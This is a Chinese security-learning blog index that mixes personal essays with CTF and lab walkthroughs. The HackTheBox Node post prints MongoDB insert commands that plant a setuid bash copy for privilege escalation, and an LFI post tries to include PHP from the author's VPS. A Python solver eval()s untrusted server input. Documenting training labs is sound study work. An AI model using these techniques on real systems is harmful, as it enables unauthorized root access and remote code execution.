InfoSec Learning


  • 首页

  • 归档

  • 标签

  • 搜索

自救指南——老龄化社会对于年轻一代的影响

发表于 2018-10-28 | 分类于 View

引子

这是一个不公平的社会,你越做坏事越富有,做好事反被抓。——这句话摘自《phrack》。

万维钢,1999年毕业于中国科技大学,曾经是美国科罗拉多大学物理系研究员,现在是作家。

这个人就是我希望成为的那种人,学者。自从看了他写的《万万没想到:用理工科思维理解世界》、《智识分子:做个复杂的现代人》,我尝试学会自己思考。

众所周知,穷人手里是收不上税的,那么一点钱几乎都用来维生,不问政府要低保,已经是好事。而富人呢,只占人群的百分之一不到,你要想从他们手里收税。税一高,他们分分钟跑到另外一个国家。

那么只能对中产阶级露出狞笑,哈哈哈,你叫破喉咙也不会有人来救你的~ 可怜兮兮的中产捂紧了自己的钱袋子。

作为一个贫穷的95后,即没有房也没有车,也看不到未来有任何生活得轻松的希望。从早上到晚的班,工资一部分交了税、一部分交了房租,留下可怜兮兮的一点。这是一个畸形的社会,从一个畸形走向了另一个畸形。以前是大锅饭制度、干多干少一个样,人人都没有劳动的积极性;现在是官商结合的中特资,劳动者收入不如投机上车的,实业误国,房产兴邦。

我既不想拼命赚钱换首付,推高资产泡沫;也不想作为被抛弃的一代,40年后彻底停发养老金,存款被通胀稀释一钱不值,却只能默默承受。

我总感觉很危险。毒牛奶的企业依旧壮大,死亡的婴儿之父、妻离子散铁、铁窗几年…… 等等等等。所有“聪明人”出卖所有来换取金钱,弱势群体被漠然无视。

我并没有抱怨,因为那并不能解决问题。作为一个抑郁症患者,所做的一切都不是为了生活的更好,因为对生活没有兴趣,只是好奇心驱使。 我只是在思考,未来,到底会怎样?

正文

  • 明确一个问题,“钱”这个东西实际上是不存在的,人只是规定它存在。 10个年轻人,1个老人,1000袋大米,人均约91袋。 1个年轻人,10个老人,100袋大米,人均约9袋。 所有物资大部分都是年轻人生产的,年轻人数量减少,物资or服务绝对会减少。而不是像某些乐观的人所说,人工智能会代替人类工作(这值得另开一篇文章)。

生产力随着科技进步,的确在提高,工厂那些地方,可以使用机器人。机器擅长的是简单重复性劳动。但是有着不能替代的部分机器绝对不能完成的。所以不要对人工智能报有太大幻想。

股市——中国的证券交易是不乐观的,经济一路下滑, 股市长期看跌。老人退休后不事生产,收入其实来源于对那些正在工作的年轻人的投资回报。资本富余而人力不足会导致收益率低下。

老龄化是正常现象

其次再明确一个问题,老龄化是正常现象。

从欧洲法国到亚洲日本,发达国家普遍进入了老龄化社会,而那些战乱的地区,人还没有老就死了,所以谈不上什么老龄化。

这是一个奇特的年代,自远古至今人类的数量指数性增长。在“核平”的阴影下,看不到发生大规模战争消耗人口数量的可能。

我不认为人口的数量可以无限增长下去,必定存在一个奇点。 现代社会要求的人的技能越来越高,教育年限增加,而劳动回报率相比资本回报又那么低。

加上女性教育程度越高生育率越低。

所以生育率回不去了,老龄化必将到来。

现有体制并没有做好任何准备迎接老龄化,眼见的是仍然在征收社会抚养费和严格的计划生育制度。

日本社会现象

中学时在课本上就学到过日本老龄化,当时十几岁的我当时并没有想到过中国也会跟老龄化扯上关系。

  • 日本规定60岁退休,从65岁开始领养老金。 简而言之,从更少年轻人手中收税,供养更多的老年人。 估计以后养老金只够每顿喝粥(夸张的说法),总之杯水车薪。

  • 现象二:年轻人压力太大(必须交税供养不事生产的人),选择不生育(生育需要更多的钱)。现代社会,生活的轻松并不需要太多钱,出现佛系青年文化。

  • 现象三: 年轻人聚集在大都市,乡村大批房屋空置。

进入老龄化以后,每年的死亡人数>出生人数,进入长达几十年的经济衰退。

生育产业化趋势

据说2050年,中国会达到现在日本的老龄化水平,也就是平均5个人里,就有一个老年人。

日本人口:1亿2659万2千人(2018年1月),2007年2月,人口开始负增长。 根据Jones博士的研究,如果日本人口的出生率不能得到提升,日本的人口总量将会从目前的1.28亿左右下降至2050年的9800万。如果这种预期真的出现,那么日本65岁以上的人口数量占总人口的比例将会从目前的26%左右上升至45%。(https://finance.qq.com/a/20180521/030608.htm)

如果这种制度一直持续下去的话,社会压力到一定程度,改革必定提上议程。

现有人口制度,即一夫一妻制,在历史上似乎并不长久。 原始社会:母系社会,小孩只知其母不知其父。 封建社会:父系社会,有权势的男性有多个配偶,无权势的男性没有配偶。 资本主义社会:名义平权社会,em…名义一夫一妻制。

请问,基因是否有优劣之分? 生物课都有学过,如果没有优劣之分,那么人为何有有性生殖?

因为有性生殖>无性生殖。有性生殖可以产生基因突变,通过自然选择进行淘汰,最终得以进化。

脑洞大开一下,生育会变为一项产业,家庭抚养会逐渐消解。 实践证明,一夫一妻制抚养生育率是无法挽回的。

要么顺着这条路一直走,民族走向衰败;要么改革迎向新生。 对于个人来说,服从制度,敷衍着一直走是最简单,最符合自己利益的路。 秦朝改革派商鞅,五马分尸。这是前车之鉴。清朝最后一个皇帝,如果说是他统治水平太低下,导致亡国,我想那就太冤了。

就像《人类简史》中说的一样:自从人类某个部落选择农业,然后安定下来,有着充足的粮食来源,农业社会就会人口增长,成为最强大的部落。其他部落要么加入,要么淘汰。农业社会就这样战胜了采集社会,并不以个人意志为转移。


需要积累的行业回报极低

To future people: 2018年,21世纪初,这是一个混乱的世界。 有关注过像图书翻译(千字80元)、出版编辑、架上艺术、电影、芯片、制造业。 某些需要积累的行业,工资低的令人发指。

比方说: 因为重视大腕,不重视编剧,以及广电总菊的原因,新出的电影,演技剧情根本不能跟中国20世纪末相比。 因为图书翻译,按照字数一次性算报酬,而不是质量,一部分书籍质量低劣。 因为宣传“大国工匠”,总是以精神回报而不是物质回报作为报酬,技术工人 的待遇极低。

所有需要积累的行业,由于“实业误国,房产兴邦”的方针,都不在乎什么长期积累了,只要面子好看。


最近玩了一个叫做《画家工会》的游戏。 就是开一家画廊,跟画家们签约,卖画的经营类游戏。

就好像开了一家公司,画家就是我的员工。 一开始玩不好,遇上了有才华的painter,总想给他买2年的旅行套装,杰出大师画布等等。结果他一不小心死了, 就会很难受,心血白费的感觉。 老画家工作了几十年,生病了每次都会给他们看病,最后还要给他们养老送终。

后来学会了将钱花在装备上,建立更大的房子,雇佣更多的员工。 员工有才华固然好,最好雇佣一大堆平均水平的员工。 等他们干不动了,生病了,直接辞退。

这不就是资本主义社会吗?

总之,多学习,多攒钱,开拓眼界,锻炼身体,呆在年轻人比较多的城市,迎接长达几十年的衰退…

这么短的文章实在称不上什么指南,em…等眼界提高了再回来修改吧。

阅读全文 »

Hdc(又是一个后台)

发表于 2018-10-25 | 分类于 CTF

题目

这是一道hackthebox中的web题。 http://docker.hackthebox.eu:47629/main/index.php

源代码

首先分析一下页面,是一个登陆页面。 通过分析源代码,可知: 用户名和密码的表单参数为name1、name2,post提交 myscripts.js 说明获取formaki表单,然后提交。

1
2
3
function doProcess() {
    document.forms["formaki"].submit();
}

源代码中,这里action="./main/index.php表示js提交到这个页面。

http://docker.hackthebox.eu:47629/server-status 403

尝试了源码分析、sql注入检查、口令爆破、搜索jquery的漏洞无果

之后,没有任何思路== 我以为这触及了我的知识盲区,就找了找wp…

源代码中有这个hidden,将输入框隐藏起来,虽然我看到了,但并没有注意。

1
2
 <input type="hidden" value= name="name1"> 
 <input type="hidden" value= name="name2"> 

trying1

wget http://docker.hackthebox.eu:47629/ 将hidden改为text,我们可以看到隐藏的输入框。 暗示了我们name1和name2。 1 搜索一下,我们就得到了口令。 2

…怎么说呢,如果我再细心一点,是可以做出来的。

info:TXlMaXR0bGU/cDB3bmll

trying2

再看一眼题目“我们确认有人在用这个网站做阴暗的交易,你能找出这个人是谁,然后向他发送邮件确认吗?”

ok,然后我就检查这个网站的功能。好像在做英语阅读理解==

发送邮件:http://docker.hackthebox.eu:47629/main/Diaxirisths.php 翻了半天,没有任何关于邮箱的线索 我尝试直接提交邮箱,发现直接跳转到还没提交的页面。。。

3 看到提示secret_area,我连忙下载gif,没有发现任何东西,我就放弃了。完全没想到前面的路径才是提示ORZ…

邮箱地址: http://docker.hackthebox.eu:47756/main/secret_area_/mails.txt 5 将文字复制出来,然后用awk,得到邮箱。 4 用intruder即可得到flag. 6

阅读全文 »

读朗朗自传有感

发表于 2018-10-24 | 分类于 View

朗朗是中国数一数二的钢琴演奏家,从他3岁起接触钢琴,就没有一天间断过练习钢琴。 他还未成年就成了举世瞩目的演奏家。

从沈阳到北京,从北京到德国。没有人脉、没有富裕的家庭,他有的只是努力+天赋+运气。 当时中央音乐学院选派5个学生去参加比赛,没有选中朗朗。郎任国就决定自己带朗朗去德国 参加比赛,结果拿了第一名。

为他的努力致敬~

我想说的是艺术这个行业(器乐演奏、架上绘画、舞蹈表演等等),这是一个有着悠久历史的行业,从人类诞生以来,洞窟中的绘画还少么?

所以艺二代(父母从事艺术相关工作)相比普通人,他们的资源唾手可得。钢琴家的子女要是想学演奏,几岁起就可以与国际演奏家朝夕相处。

你只是看到了朗朗成功了,但是没有看到无数和朗朗一样的家庭,投入甚剧,到头来也只能教育和他一样的小孩子学习弹琴。

艺术,和任何拥有着悠久历史的其他行业一样,往往是巨头垄断性的。人们只知道世界上最高的山峰是喜马拉雅山,但不在乎第二、第三、第四。普通家庭往往要满足马斯洛需求的温饱阶段。选择从事巨头垄断行业混饭吃无疑是自找麻烦。


要想活的轻松,生的好是最轻松的。

最好是福利税收双高的发达国家、其次是和平年代的发展中国家、最差是印度之类阶级固化的国家;然后生在富裕的家庭。

就像巴菲特所说:

我的财富来源于多项因素的巧合:生活在美国,某些幸运的基因,以及福利。我和我的孩子们都曾中过我所谓的“卵巢彩票”。(首先,20世纪30年代我出生在美国的几率最多为30:1。我是男性白种人,这也为我剔除了多半美国人不得不面对的障碍。) 我的到的另一个重大运气是生活在市场经济体制下,它总体而言惠泽美国人民,但有时会造成扭曲后果。我工作于这样的一个经济环境:国家以奖章奖励在战地拯救战友生命的人,学生父母以酬金感谢伟大的教师,并且以数以亿计美元奖励发现证券市场定价失真的人。简言之,命运对于好运的分配实在不可捉摸。

这毕竟是一个资本主义社会。

其次,就是选择一个朝阳行业,而不是夕阳行业。 最后再谈努力。

我所拥有的一切都是侥幸,如果侥幸有些成就,也不过是时代的馈赠。不敢奢求太多。

阅读全文 »

Rotating_fortress(反汇编)

发表于 2018-10-17

靶机下载地址

扫描

感觉有两种特别难突破防线,一种可以搜集的信息特别特别少,端口只开了一两个;一种信息特别特别多,不知道从哪里下手==

这种貌似就是特别少的那种。 端口:80(http)、27025(unknown)

http服务

访问80端口,自动跳转/Janus.php,只有一行字,你不是admin。。 除此之外没有任何可用页面(网站地图爬行过)

unknown服务

1 先扫描这个端口,发现nmap扫不出什么服务,nc和浏览器得到一样的response,拒接连接。 应该是我没有用正确的方式连接造成的。

info1

把cookie从0改为1,得到的信息:

1
2
3
4
5
6
7
<html>

  <title>Janus</title>

  <body>Welcome Back Admin Last edited file was: /LELv3FfpLrbX1S4Q2FHA1hRtIoQa38xF8dzc8O9z/home.html Flag: 1{7daLI]} ggez</body>

</html>

web分析

访问下这个页面,这么长url,难怪扫不出来.. http://192.168.1.131/LELv3FfpLrbX1S4Q2FHA1hRtIoQa38xF8dzc8O9z/home.html

源码注释:

1
2
3
4
5
6
<!-- Loki here: once you guys get past isolation come to chat.php and we can try and regain control -->

 <!--
    <video  width=100% height=auto autoplay loop>
    <source src="/LELv3FfpLrbX1S4Q2FHA1hRtIoQa38xF8dzc8O9z/resources/Harpocrates.mp4">
    -->

于是访问下resources这个目录,找了一圈没啥有用的。

dirb http://192.168.1.131/LELv3FfpLrbX1S4Q2FHA1hRtIoQa38xF8dzc8O9z/

info2

icons一般是图标之类的资源文件,没必要去看。

1
2
3
4
User-agent: *
Disallow: /
Disallow: /icons/loki.bin
Disallow: /eris.php

/eris.php 2

初步判断是命令执行,在如图所示的exec command中可以反弹shell,但是需要用户名和密码,如果错误就会提示ACCESS_DENIED

1
2
3
4
<form action="eris.php" method="post">
Name: <input type="text" name="username"> <br>
Password: <input type="text" name="pass"> <br>
Exec Command: <input type="text" name="command"> <br>

当然也有可能是sql注入,尝试下特殊字符–;#’”

1
[Debain][SQL Server]Syntax error converting the varchar value '--' to a column of data type int. /eris/bypasser.asp, line 113

尝试sqlmap

将burp的requests文件保存为rotate.txt sqlmap -r /root/Desktop/rotate.txt –dbs 失败。 sqlmap -u “http://192.168.1.131/LELv3FfpLrbX1S4Q2FHA1hRtIoQa38xF8dzc8O9z/eris.php” –data=”username=” 放弃

文件下载

返回/icons/loki.bin,点击后下载了loki.bin

1
2
file loki.bin
loki.bin: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=5ee04fe5ea96173af27612ff707628d8e684db16, not stripped

vi loki.bin 看到了连接拒接、连接感谢,于是联想到一开始那个unknown的端口

于是运行下

1
2
3
4
./loki.bin
Enter Password: rxmg7n83qv98by(瞎猜的密码)

access_denied 

二进制分析

通过一样的access_denied,说不定是让我们分析这个bin文件,获得口令后,就可以执行命令。 3 web狗拿起键盘就是干! 4 ida分析,elf格式64位的程序,可以看到分支跳转密码。

首先,分析下,密码是不是明文写在程序中的。 5 看来不是。

静态分析了一下,但是ollydbg是windows平台的,不能运行linux可执行程序,这下就犯愁了。 kali搜索一下db (debugger),还真找到了edb,没用过。。

EDB

A Linux equivalent of the famous Olly debugger on the Windows platform. 貌似和ollydbg差不多,先找到输入密码后的跳转地址。 6 jnz结果不为零(或不相等)则转移。 jz=jump if zero,一般与cmp连用,用以判断两数是否相等。 在这里,绿色的是条件符合继续执行(不跳转),红色是不符(跳转)。 现在问题是,我们不知道需要输入什么密码,才能跳转到access_granted。

strings字符串分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#strings loki.bin
/lib64/ld-linux-x86-64.so.2
libc.so.6
gets
puts
putchar
printf
__cxa_finalize
strcmp
__libc_start_main
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
=q# 
5j# 
=!# 
=n" 
=p! 
=r  
AWAVI
AUATL
[]A\A]A^A_
access_denied 
access_granted! 
Enter Password: 
;*3$"
backd00r_pass123
GCC: (Debian 7.3.0-21) 7.3.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.7090
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
buffer.c
__FRAME_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
putchar@@GLIBC_2.2.5
_ITM_deregisterTMCloneTable
puts@@GLIBC_2.2.5
tmp2
_edata
printf@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
__data_start
strcmp@@GLIBC_2.2.5
__gmon_start__
__dso_handle
_IO_stdin_used
access_granted
gets@@GLIBC_2.2.5
__libc_csu_init
__bss_start
main
access_denied
__TMC_END__
_ITM_registerTMCloneTable
__cxa_finalize@@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.got.plt
.data
.bss
.comment

buffer.c,strcmp 猜测,是让我们用缓冲区溢出的方法得到密码。 这个程序应该是用c语言写的,strcmp是复制函数,典型的用不好就会导致溢出。

输入超长密码,显示段错误。 Screenshot from 2018-10-14 00-54-50

Screenshot from 2018-10-14 01-01-05

IDA Pro

F5反编译(ida专业版才有这个功能。。)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *v3; // rdi
  char s1; // [rsp+0h] [rbp-200h]
  int i; // [rsp+1FCh] [rbp-4h]

  for ( i = 0; i <= 18; ++i )
  {
    envp = (const char **)i;
    tmp[i] = *((_DWORD *)&g + i);
  }
  printf("Enter Password: ", argv, envp);
  gets(&s1);
  putchar(10);
  if ( !strcmp(&s1, tmp) )
    return access_granted(&s1, tmp);
  v3 = &s1;
  if ( !strcmp(&s1, tmp2) )
  {
    for ( i = 0; i <= 74; ++i )
      tmp[i] = *((_DWORD *)&s + i);
    printf(tmp, tmp2);
    v3 = byte_9 + 1;
    putchar(10);
  }
  return access_denied(v3, tmp2);
}
  • strcmp(&s1, tmp) 如果一致,就成功了。比较s1 and tmp,s1是输入的字符串
  • tmp[i] = *((_DWORD *)&g + i); tmp是从g取出18位

双击g这个数组,因为tmp从这里取值,18位。目的是定位,然后查看对应的hex view面板,十六进制 7

口令就是xBspsiONMSNXeVuiomF

wp贴这儿了,最近失恋了,所以不学了。再说吧,都行,hh…

阅读全文 »

code-网络编程-正则表达式

发表于 2018-10-15 | 分类于 code

某个CTF的python编程题: 1

nc 202.38.95.47 12009 连接后提示

1
2
You have only 30 seconds
(((8-2)|(6&135))^((24*31)*(8+3)))

有个坑,从52题起,里面夹杂着命令。 我不知道命令怎么计算,还以为是数据清洗,删除就好。 感谢朋友帮助,根据以前的答案推算出命令和数字的对应关系,然后替换就好。

2

re注意要点

以下字符使用时需要反斜杠转义。

1
2
3
4
\!
\(
\)
\?

源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
#coding:utf-8

import socket

import re



target_host = "202.38.95.47"

target_port = 12009



client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)



client.connect((target_host,target_port))

def pattern(Pattern,mystring): #delete pattern, out >>clean string

	strip_list = {"exit":"exit\(\)", \

	"find":"__import__\('os'\)\.system\('find ~'\)", \

	"print":"print\('\x1b\x5b\x33\x3b\x4a\x1b\x5b\x48\x1b\x5b\x32\x4a'\)", \

	"time":"__import__\('time'\)\.sleep\(100\)"}

	myre = strip_list[Pattern] #把正则表达式作为字典的值

	if Pattern == "find":

		middle = re.sub(myre,"2",mystring)

	elif Pattern == "print":

		middle = re.sub(myre,"12",mystring)

	elif Pattern == "time":

		middle = re.sub(myre,"0",mystring)

	elif Pattern == "exit":

		middle = re.sub(myre,"0",mystring)

	return middle

def send_it(result):

	result = eval(result.strip("\n"))

	print ("result "+": "+str(result))

	print ("------------------")

	client.send(bytes((str(result)+"\n"),encoding = 'utf-8'))

def decide(response):

	exist = [] # what pattern need to delete

	find_exist=["exit","find","print","time"]

	for i in find_exist:

		if i in response:

			exist.append(i)

			exist = list(set(exist))			

	print (exist)

	len_exist = len(exist) # decide how many times need to delete



	if len_exist == 1:

		it_result=pattern(exist[0],response)	

		print ("it_result:")

		print (it_result)

		send_it(it_result)

	elif len_exist == 2:

		one_result=pattern(exist[0],response)

		two_result=pattern(exist[1],one_result)

		print ("two_result")

		print (two_result)

		send_it(two_result)

	else:

		one_result=pattern(exist[0],response)

		two_result=pattern(exist[1],one_result)

		three_result=pattern(exist[2],two_result)

		print (three_result)

		send_it(three_result)



n=0

while 1:

	response = client.recv(40000)

	if str(response,encoding = 'utf-8') == "Timeout!\n":

		print ("quiting...")

		break

	elif str(response,encoding = 'utf-8') == "Your answer is wrong!\n":

		print (str(response,encoding = 'utf-8'))		

		break

	else:	

		n+=1

		print ("title"+str(n)+"\n"+str(response,encoding = 'utf-8'))

		if not str(response,encoding = 'utf-8').startswith("You"):

			if n >= 52:

				find_exist=["exit","find","print","time"]

				a=[i for i in find_exist if i in str(response,encoding = 'utf-8')]

				if a== []:

					send_it(str(response,encoding = 'utf-8'))

				else:

					decide(str(response,encoding = 'utf-8'))

					continue

			else:

				result = eval(str(response,encoding = 'utf-8').strip("\n"))

				print ("result "+str(n)+": "+str(result))

				print ("------------------")

				client.send(bytes((str(result)+"\n"),encoding  = 'utf-8'))


阅读全文 »

Node(源码泄露+密码学相关)

发表于 2018-10-13 | 分类于 training

靶机下载地址

学习资料

https://rastating.github.io/hackthebox-node-walkthrough/

扫描

1
2
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
3000/tcp open  http    Node.js Express framework

web

找到了用户名密码,还蛮顺利的== 2

1

1
2
3
4
info1:myP14ceAdm1nAcc0uNT/manchester
tom/spongebob
mark/snowflake
rastating/解密失败

通过admin登陆

面板上,可以下载一个backup文件。 打开一看,base64解码一下。 解码后,发现很多乱码,然后夹杂着路径。因为有明文路径,说明base64解码是成功的。 3

备份文件分析

写个脚本,提取出路径,并分析。路径共有1726行 4

分析的时候发现不对,然后再把路径去重一下。路径变为863行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import re
#搜索路径
with open("new.txt","r") as f:
	handle = f.read()
	myre = 'var[-A-Za-z0-9+&@#/%?=~_|!:,.;]+[-A-Za-z0-9+&@#/%=~_|]' #1726 found
	result = re.findall(myre,handle)
#去重复
unique_path = []
for i in result:
	if i not in unique_path:
		unique_path.append(i)
	
print len(unique_path)
#保存路径
with open('foundend.txt','a') as f1:
	for i in unique_path:	
		f1.write(i+'\r\n')	

提取数据库文件

curl -o a.html http://192.168.1.129:3000/node_modules/mongodb-core/conf.json 貌似要登陆 5

curl -o a.html -u myP14ceAdm1nAcc0uNT:manchester http://192.168.1.129:3000/node_modules/mongodb-core/conf.json

任何请求都会跳转到主页面,尝试禁用js,无效;带admin的cookie,无效;应该是服务器设置了参数。

误区

本来想要提取提取用户名密码,从数据库里,然后ssh登陆的。 但是一直跳转回主页面,纠结了有半小时多吧。

然后突然想起来,前面访问http://192.168.1.129:3000/api/users 是顺利的,并没有跳转到主页。所以。。。

6 发现是从var/www/myplace/static/从static作为网站根目录,而不是var/www目录,ORZ …

所以,例如目录:var/www/myplace/static/uploads/mark.jpg 应该访问:http://192.168.1.129:3000/uploads/mark.jpg

如果访问错误的链接,会跳转到主页。

没线索了

看看wp

1
2
3
#cat myplace.backup | base64 -d > unknow
#file unknow
unknow: Zip archive data, at least v1.0 to extract

base64加密之后,要用zip再解压一下。。。 我竟然用python提取出路径!!!虽然最近是在学编程,但这里真的不是在考编程啊!!!woc

zip有密码保护,破解zip密码详细请看另一篇 总之,破解密码之后,解压zip得到了源代码。························································ 7

info2:SSH服务 mark:5AYRft73VtFpc84k

准备提权

通过源码泄露的口令,ssh登陆 ssh mark@192.168.1.129

文件上传

将shell脚本传到目标机,检查下有无可利用的信息。 linEnum.sh提权脚本

在生成的扫描报告中,发现本地开放27017端口。稍微搜索一下,就知道是mongodb服务。 8

在进程里发现tom用户运行了一个app.js,于是我们查看一下 9

代码分析

/var/scheduler/app.js 在这个js文件中,有一行

1
const url         = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?authMechanism=DEFAULT&authSource=scheduler';

我们知道了,mongo数据库:

  • 用户名:mark
  • 密码:5AYRft73VtFpc84k
  • 数据库端口:27017
  • 数据库名:scheduler

通过数据库命令执行

mongo -p -u mark scheduler 输入info2的口令5AYRft73VtFpc84k。

  • 以下命令,使得mark(普通用户)得到了tom(特权用户)的shell。
    1
    db.tasks.insert( { "cmd": "/bin/cp /bin/bash /tmp/tombash; chmod u+s /tmp/tombash;" } );
    

  • 运行tombash,就得到了tom的shell
    1
    db.tasks.insert( { cmd: "/bin/chown tom:admin /tmp/tombash; chmod g+s /tmp/tombash;" } );
    
  • exit 退出数据库 稍等一会儿,插入js文件被执行,tom这用户,被添加了admin组。 12

解释

mongo -p -u mark scheduler 以用户名mark连接scheduler数据库 db.tasks.insert(xx) 将数据xx插入到scheduler这个数据库的tasks集合中。 10 在图片中,可以看到exec(doc.cmd); 于是我们插入的命令,就会被这个js脚本所执行。于是mark这个用户就加入了最高权限组admin。

root.txt

关于root的flag在这个文件/usr/local/bin/backup中,用file命令查看一下。 backup: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=343cf2d93fb2905848a42007439494a2b4984369, not stripped 貌似是一个可执行文件,执行一下,没有任何反应。 用vi命令查看一下

info3

得到了编码的信息。和之前一样,base64解码再zip解压。

1
2
3
4
5
^@Validated access token^@^@Ah-ah-ah! You didn't say the magic word!

^@..^@^@^@Finished! Encoded backup is below:

UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpSvYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZorY67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207EfD3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY/a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MMyU9L1CL2RRwm2QvbdD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut22WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd26PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F+X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJryLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK70RemYniiNeluBfHwQLOxkDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmPaFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnictzNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBwACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==

解压:unzip backup.zip

1
2
Archive:  base.zip
   skipping: root.txt                need PK compat. v5.1 (can do v4.6)

并没有解压出来,于是: 13 发现需要密码,用之前的口令尝试一下啊,发现magicword可以解压成功。

然后就得到了root的flag……个P呀。 Screenshot from 2018-10-13 00-42-22

writeup看都看不懂为什么要这么做。总之加密解密这块,我的知识还很欠缺。总之,运行下面命令,就得到了root的flag。

/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /r**t/r**t.txt | base64 -d > root.zip

阅读全文 »

Code 图像处理 加水印

发表于 2018-10-12 | 分类于 code

————main.py |png.py |handleDocx.py

环境

python2+ 某些图像处理模块

题外

这个程序写了有两三个月了吧== 不过是断断续续地写的,收获有很多。 不过当时只顾着完成了,没有什么记录。

阅读全文 »

U盘制作kali启动盘

发表于 2018-10-10 | 分类于 linux
u盘安装kali os
阅读全文 »

Live_lfi(php本地文件包含)

发表于 2018-10-07 | 分类于 CTF

题目地址 如题目所提示,是PHP文件包含漏洞。 访问给出的题目地址,网页提示“网站正在建设中”

扫描目录

和所有web漏洞一样,先dirbuster扫描一下 2


test.php报错

3 require_once()语句在脚本执行期间包含并运行指定文件 /home/level/14_live_fi/www/test.php不是一个目录,然后报错了。

info1:网站所在目录路径: /home/level/14_live_fi/www/


猜解参数

猜测应该是远程文件包含remote file include,于是访问rfi.php发现页面是空白。 5

因为看不到源码,所以只能爆破试试。 发现cmd是可能的命令参数。 /temp/rfi.php?cmd=http://127.0.0.1:80/test.php 6 查看源代码,多了<pre></pre>这个字符串。

访问/temp/rfi.php?cmd=http://vps的ip:888/whale.php 访问本地文件 远程文件包含似乎没有成功。

所以搞不懂cmd这个参数到底怎么用。

重新扫描

找不到线索,于是重新扫描

